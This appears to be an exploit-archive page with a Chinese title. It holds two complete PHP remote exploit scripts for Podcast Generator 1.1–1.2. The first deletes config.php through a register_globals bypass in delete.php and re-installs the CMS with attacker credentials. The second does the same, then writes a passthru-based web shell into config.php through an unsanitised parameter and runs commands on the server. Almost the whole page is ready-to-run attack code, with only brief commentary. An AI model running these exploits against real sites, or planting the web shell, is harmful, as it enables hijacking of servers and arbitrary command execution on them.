Podcast Generator多个模块文件包含和任意文件删除漏洞

                                                <?php  
#  
# Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit  
#  
# by staker  
# --------------------------------------  
# mail: staker[at]hotmail[dot]it  
# url: http://podcastgen.sourceforge.net  
# --------------------------------------  
#  
# it works with register_globals=on  
#    
# short explanation:  
#  
# ----------------------------------------  
# Podcast Generator contains one flaw that  
# allows an attacker to re-install the cms  
# because of unlink() in 'delete.php' file  
# ----------------------------------------  
# Look at '/core/admin/delete.php'  
# (removed author's comments)  
/* 
 
<?php 
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) 
{  exit; } <-------- {1} 
 
if ($amilogged != "true") { exit; } <-------{2} 
 
    if (isset($_GET['file']) AND $_GET['file']!=NULL) { 
    $file = $_GET['file']; 
     $ext = $_GET['ext']; 
     
    if (file_exists("$absoluteurl$upload_dir$file.$ext")) { 
        unlink ("$upload_dir$file.$ext"); <--------{3} 
        $PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>"; 
    } 
 
 
*/  
#  
# Explanation (code snippet above [points])  
# -----------------------------------------------------------------------------------  
# 1. blocks all 'amilogged' REQUEST variables,what about GLOBALS?,therefore useless!  
# 2. if 'amilogged' isn't true -> exit() function activated.  
# 3. unlink() delete an existing file.  
# -----------------------------------------------------------------------------------  
#  
# It's possible to delete 'config.php' to re-install the cms. we need 'amilogged'  
# set to true. We can do it using a GLOBALS variable.  
#  
# admin/core/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php  
#  
# Various:  
# --------------------------------------------------  
# They didn't help me but i want to give a thanks to  
# girex,skerno,Chaomel,XaDoS,Dante90 and Gianluka_95    
# --------------------------------------------------  
# Today is: 02 June 2009.  
# Location: Italy,Turin.  
# http://www.youtube.com/watch?v=dBc7mK5iAH0  
# --------------------------------------------------  
  
error_reporting(E_STRICT ^ E_WARNING);  
  
if ($argc < 2) start_usage();              
  
$host = $argv[1];  
$path = $argv[2];  
  
re_install();  
  
function send_request($data)  
{          
        global $host;  
          
        if (!$sock = @fsockopen($host,80)) {  
               die("connection refused..\n");  
        }  
          
        if (isset($data)) {  
               fputs($sock,$data);  
        }  
                
        while (!feof($sock)) { $result .= fgets($sock); }            
          
        fclose($sock);  
        return $result;  
}  
  
  
function remove_config()  
{  
        global $host,$path;  
          
        $in_lex = "/{$path}/core/admin/delete.php?GLOBALS[amilogged]=true&file=../../config&ext=php";  
          
        $config  = "GET {$in_lex} HTTP/1.1\r\n";  
        $config .= "User-Agent: Lynx (textmode)\r\n";  
        $config .= "Host: {$host}\r\n";  
        $config .= "Connection: close\r\n\r\n";  
          
        $lol = send_request($config);  
          
        if (check_config() != FALSE) {  
              die("register_globals=off, exploit failed!\n");  
        }  
        else {  
             return true;  
        }            
}  
  
  
function re_install()  
{  
        global $host,$path;  
        
        $binary = "username=staker&password=killingyourself&password2=killingyourself&setuplanguage=en";  
          
        $config  = "POST {$path}/setup/index.php?step=5 HTTP/1.1\r\n";  
        $config .= "User-Agent: Lynx (textmode)\r\n";  
        $config .= "Host: {$host}\r\n";  
        $config .= "Content-Type: application/x-www-form-urlencoded\r\n";  
        $config .= "Content-Length: ".strlen($binary)."\r\n";  
        $config .= "Connection: close\r\n\r\n";  
        $config .= $binary;  
          
        remove_config();  
        $content = send_request($config);  
          
          
        if (eregi('Creation of the configuration file',$content)) {  
             echo "[ re-installed successful\n";  
             echo "[ username: staker\n[ password: killingyourself\n"; exit(0);  
        }  
        else {  
             die("Exploit failed\n");  
        }                  
}  
        
  
  
  
function check_config()  
{  
        global $host,$path;  
          
        $config  = "GET /{$path}/config.php HTTP/1.1\r\n";  
        $config .= "User-Agent: Lynx (textmode)\r\n";  
        $config .= "Host: {$host}\r\n";  
        $config .= "Connection: close\r\n\r\n";  
          
        $content = send_request($config);  
          
        if (ereg('HTTP/1.1 404 Not Found',$content))  {  
              return false;  
        }        
        else {  
              return true;              
        }  
}  
  
  
function start_usage()  
{  
         print "[*--------------------------------------------------------------------------*]\n".  
               "[* Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit *]\n".  
               "[*--------------------------------------------------------------------------*]\n".  
               "[* Usage: php podcast_xpl.php [host] [path]                                 *]\n".  
               "[* [host] host -> example: localhost                                        *]\n".  
               "[* [path] path -> example: /podcast                                         *]\n".  
               "[*--------------------------------------------------------------------------*]\n";  
         die();        
}  
  
  
  
#!/usr/bin/php -q -d short_open_tag=on  
<?  
echo "  
  
Podcast Generator <= 1.1 Remote Code Execution  
  
Vendor: http://podcastgen.sourceforge.net  
Exploit Author: BlackHawk  
Author's Site: http://itablackhawk.altervista.org  
  
Credits goes to RGod for the code  
Thanks to Marija just for exist :)  
  
  
";  
if ($argc<4) {  
echo "  
  
Usage: php ".$argv[0]." host /path/ command  
  
        Es: php ".$argv[0]." localhost / dir  
  
";  
die;  
}  
/* 
Bugs explanation: 
 
This app has tons of bugs, but because of his structure lot of them are useless.. but not them all! 
 
Look at 'core/admin/delete.php' (i have omitted the author comments): 
 
--------------------------- 
 
<?php 
if (isset($_REQUEST['absoluteurl']) OR isset($_REQUEST['amilogged']) OR isset($_REQUEST['theme_path'])) { exit; } 
if (isset($_GET['file']) AND $_GET['file']!=NULL) { 
    $file = $_GET['file']; 
    $ext = $_GET['ext']; 
    if (file_exists("$absoluteurl$upload_dir$file.$ext")) { 
        unlink ("$upload_dir$file.$ext"); 
        $PG_mainbody .="<p><b>$file.$ext</b> $L_deleted</p>"; 
    } 
 
--------------------------- 
 
no check for admin rights, so now we can delete whatever file we want, with any exstension.. 
 
so let's delete config.php and make a rfesh new installation with a password set by us! 
 
the RCE is triggered in 'core/admin/scriptconfig.php', line 56: 
 
--------------------------- 
// recent in home 
$recent = $_POST['recent']; 
if ($recent != "") { 
    $max_recent = $recent; 
} 
--------------------------- 
 
no sanitize of the input and no quotes added when writting to the config file (so no need mq=off) 
BlackHawk <[email protected]> 
*/  
error_reporting(0);  
ini_set("max_execution_time",0);  
ini_set("default_socket_timeout",5);  
  
function quick_dump($string)  
{  
  $result='';$exa='';$cont=0;  
  for ($i=0; $i<=strlen($string)-1; $i++)  
  {  
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))  
   {$result.="  .";}  
   else  
   {$result.="  ".$string[$i];}  
   if (strlen(dechex(ord($string[$i])))==2)  
   {$exa.=" ".dechex(ord($string[$i]));}  
   else  
   {$exa.=" 0".dechex(ord($string[$i]));}  
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  
  }  
return $exa."\r\n".$result;  
}  
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';  
function sendpacketii($packet)  
{  
  global $proxy, $host, $port, $html, $proxy_regex;  
  if ($proxy=='') {  
    $ock=fsockopen(gethostbyname($host),$port);  
    if (!$ock) {  
      echo 'No response from '.$host.':'.$port; die;  
    }  
  }  
  else {  
    $c = preg_match($proxy_regex,$proxy);  
    if (!$c) {  
      echo 'Not a valid proxy...';die;  
    }  
    $parts=explode(':',$proxy);  
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";  
    $ock=fsockopen($parts[0],$parts[1]);  
    if (!$ock) {  
      echo 'No response from proxy...';die;  
    }  
  }  
  fputs($ock,$packet);  
  if ($proxy=='') {  
    $html='';  
    while (!feof($ock)) {  
      $html.=fgets($ock);  
    }  
  }  
  else {  
    $html='';  
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {  
      $html.=fread($ock,1);  
    }  
  }  
  fclose($ock);  
}  
  
$host=$argv[1];  
$path=$argv[2];  
  
$cmd="";  
for ($i=3; $i<=$argc-1; $i++){  
$cmd.=" ".$argv[$i];  
}  
$port=80;  
$proxy="";  
  
  
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}  
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}  
  
echo "Step1 - Delete config.inc\r\n";  
$packet ="GET ".$p."core/admin/delete.php?file=../../config&ext=php HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
sendpacketii($packet);  
  
echo "Step2 - Creating new configuration\r\n";  
  
$data="username=new_user_name&password=blackhawk&password2=blackhawk&setuplanguage=en";  
$packet="POST ".$p."/setup/index.php?step=5 HTTP/1.0\r\n";  
$packet.="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "Step3 - Logging in\r\n";  
$data="user=new_user_name&password=blackhawk";  
$packet="POST ".$p."?p=admin HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
$temp=explode("Set-Cookie: ",$html);  
$temp2=explode(" ",$temp[1]);  
$PHPid = $temp2[0];  
  
  
echo "Step4 - Sending shell\r\n";  
$data="streaming=yes&fbox=yes&cats=yes&newsinadmin=yes&strictfilename=yes&recent=5; if (isset(\$_GET[cmd])){if(get_magic_quotes_gpc()){\$_GET[cmd]=stripslashes(\$_GET[cmd]);}echo 666999;passthru(\$_GET[cmd]);echo 666999;}\$xyz=5&recentinfeed=All&selectdateformat=d-m-Y&scriptlanguage=en";  
$packet="POST ".$p."?do=config&p=admin&action=change HTTP/1.0\r\n";  
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n";  
$packet.="Accept-Language: it\r\n";  
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";  
$packet.="Accept-Encoding: gzip, deflate\r\n";  
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Cookie: $PHPid\r\n";  
$packet.="Content-Length: ".strlen($data)."\r\n";  
$packet.="Connection: Close\r\n";  
$packet.="Cache-Control: no-cache\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
  
echo "Step5 - Executing Command\r\n\r\n";  
$packet ="GET ".$p."config.php?cmd=dir HTTP/1.0\r\n";  
$packet.="Host: ".$host."\r\n";  
$packet.="Connection: Close\r\n\r\n";  
$packet.=$data;  
sendpacketii($packet);  
if (strstr($html,"666999"))  
{  
  echo "Exploit succeeded...\r\n";  
  $temp=explode("666999",$html);  
  die("\r\n".$temp[1]."\r\n");  
}  
?>